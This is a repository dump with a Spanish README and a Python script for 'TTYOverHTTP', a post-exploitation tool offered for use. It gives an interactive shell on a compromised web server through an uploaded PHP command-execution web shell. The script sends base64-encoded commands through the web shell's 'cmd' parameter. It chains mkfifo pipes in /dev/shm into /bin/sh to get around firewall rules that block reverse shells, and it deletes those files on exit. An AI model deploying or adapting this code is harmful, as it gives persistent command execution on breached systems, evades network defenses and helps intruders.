├── README.md └── tty_over_http.py /README.md: -------------------------------------------------------------------------------- 1 | # TTYOverHTTP 2 | 3 | En ocasiones cuando comprometemos un servidor web, hay reglas configuradas (**Ej: iptables**) que nos impiden obtener una Reverse Shell vía Netcat, Python, u otra utilidad. 4 | 5 | Con esta herramienta, evitamos tener que hacer uso de una reverse shell para 6 | obtener una TTY posteriormente completamente interactiva. A través de archivos 7 | '**mkfifo**', jugamos para simular una TTY interactiva sobre HTTP, logrando 8 | manejarnos sobre el sistema cómodamente sin ningún tipo de problema. 9 | 10 | Lo único que necesitamos, es subir al servidor comprometido una estructura PHP como la siguiente para ejecutar comandos: 11 | 12 | ```php 13 | 16 | ``` 17 | 18 | Una vez subido, simplemente ejecutamos el script (Es necesario cambiar la ruta en el script donde se sitúa nuestro script PHP alojado en el servidor vulnerado). 19 | 20 | Tras su ejecución, se muestra un ejemplo de su utilidad: 21 | 22 |
23 | 24 | -------------------------------------------------------------------------------- /tty_over_http.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import requests, time, threading, pdb, signal, sys 4 | from base64 import b64encode 5 | from random import randrange 6 | 7 | class AllTheReads(object): 8 | def __init__(self, interval=1): 9 | self.interval = interval 10 | thread = threading.Thread(target=self.run, args=()) 11 | thread.daemon = True 12 | thread.start() 13 | 14 | def run(self): 15 | readoutput = """/bin/cat %s""" % (stdout) 16 | clearoutput = """echo '' > %s""" % (stdout) 17 | while True: 18 | output = RunCmd(readoutput) 19 | if output: 20 | RunCmd(clearoutput) 21 | print(output) 22 | time.sleep(self.interval) 23 | 24 | def RunCmd(cmd): 25 | cmd = cmd.encode('utf-8') 26 | cmd = b64encode(cmd).decode('utf-8') 27 | payload = { 28 | 'cmd' : 'echo "%s" | base64 -d | sh' %(cmd) 29 | } 30 | result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip() 31 | return result 32 | 33 | def WriteCmd(cmd): 34 | cmd = cmd.encode('utf-8') 35 | cmd = b64encode(cmd).decode('utf-8') 36 | payload = { 37 | 'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin) 38 | } 39 | result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip() 40 | return result 41 | 42 | def ReadCmd(): 43 | GetOutput = """/bin/cat %s""" % (stdout) 44 | output = RunCmd(GetOutput) 45 | return output 46 | 47 | def SetupShell(): 48 | NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout) 49 | try: 50 | RunCmd(NamedPipes) 51 | except: 52 | None 53 | return None 54 | 55 | global stdin, stdout 56 | session = randrange(1000, 9999) 57 | stdin = "/dev/shm/input.%s" % (session) 58 | stdout = "/dev/shm/output.%s" % (session) 59 | erasestdin = """/bin/rm %s""" % (stdin) 60 | erasestdout = """/bin/rm %s""" % (stdout) 61 | 62 | SetupShell() 63 | 64 | ReadingTheThings = AllTheReads() 65 | 66 | def sig_handler(sig, frame): 67 | print("\n\n[*] Exiting...\n") 68 | print("[*] Removing files...\n") 69 | RunCmd(erasestdin) 70 | RunCmd(erasestdout) 71 | print("[*] All files have been deleted\n") 72 | sys.exit(0) 73 | 74 | signal.signal(signal.SIGINT, sig_handler) 75 | 76 | while True: 77 | cmd = input("> ") 78 | WriteCmd(cmd + "\n") 79 | time.sleep(1.1) 80 | --------------------------------------------------------------------------------